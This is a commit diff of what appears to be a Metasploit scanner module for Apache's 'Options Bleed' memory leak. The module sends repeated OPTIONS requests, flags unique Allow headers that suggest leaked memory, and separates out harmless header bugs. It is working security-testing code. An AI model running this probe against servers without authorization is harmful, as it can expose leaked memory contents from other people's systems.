@@ -17,7 +17,7 @@ def initialize(info = {})
17
17
server has a .htaccess file with an invalid Limit method defined.
18
18
} ,
19
19
'Author' => [
20
- 'Hanno Bock ' , # Vulnerability discovery
20
+ 'Hanno Böck ' , # Vulnerability discovery
21
21
'h00die' , # Metasploit module
22
22
] ,
23
23
'References' => [
@@ -32,41 +32,61 @@ def initialize(info = {})
32
32
) )
33
33
34
34
register_options ( [
35
- OptInt . new ( 'REPEAT' , [ true , 'Times to attempt' , 40 ] )
35
+ OptString . new ( 'TARGETURI' , [ true , 'The URI to the folder with the vulnerable .htaccess file' , '/' ] ) ,
36
+ OptInt . new ( 'REPEAT' , [ true , 'Times to attempt' , 40 ] ) ,
37
+ OptBool . new ( 'BUGS' , [ true , 'Print if any other Allow header bugs are found' , true ] )
36
38
] )
37
39
end
38
40
39
41
def get_allow_header ( ip )
40
42
res = send_request_raw ( {
41
43
'version' => '1.1' ,
42
44
'method' => 'OPTIONS' ,
43
- 'uri' => '/'
45
+ 'uri' => datastore [ 'TARGETURI' ]
44
46
} , 10 )
45
47
if res
46
48
if res . headers [ 'Allow' ]
47
49
return res . headers [ 'Allow' ]
48
50
else #now allow header returned
49
- fail_with ( Failure ::UnexpectedReply , "#{ rhost } : #{ rport } - No Allow header identified" )
51
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - No Allow header identified" )
50
52
end
51
53
else
52
- fail_with ( Failure ::Unreachable , "#{ rhost } : #{ rport } - Failed to respond" )
54
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to respond" )
53
55
end
54
56
end
55
57
56
58
def run_host ( ip )
59
+ bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
60
+ bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
57
61
uniques = [ ]
58
62
for counter in 1 ..datastore [ 'REPEAT' ]
59
63
allows = get_allow_header ( ip )
60
- vprint_status ( "#{ counter } : #{ allows } " )
61
64
if !uniques . include? ( allows )
62
65
uniques << allows
66
+ if allows =~ bug_61207
67
+ if allows . split ( ',' ) . length > allows . split ( ',' ) . uniq . length
68
+ if datastore [ 'BUGS' ]
69
+ print_status ( 'Some methods were sent multiple times in the list.
70
+ This is a bug, but harmless. It may be Apache bug #61207.' )
71
+ end
72
+ else
73
+ vprint_status ( 'Normal Response' )
74
+ end
75
+ elsif allows =~ bug_1717682
76
+ if datastore [ 'BUGS' ]
77
+ print_status ( 'The list of methods was space-separated instead of comma-separated.
78
+ This is a bug, but harmless. It may be Launchpad bug #1717682.' )
79
+ end
80
+ else
81
+ print_good ( 'Options Bleed Response' )
82
+ end
63
83
print_good ( "New Unique Response on Request #{ counter } : #{ allows } " )
64
84
end
65
85
end
66
86
if uniques . length > 1
67
- print_good ( ' More than one Accept header received. Most likely vulnerable' )
87
+ print_good ( " More than one Accept header received. #{ peer } is Most likely vulnerable" )
68
88
uniques . each do |allow |
69
- print_good ( " #{ allow } " )
89
+ print_good ( allow . to_s )
70
90
end
71
91
end
72
92
end
0 commit comments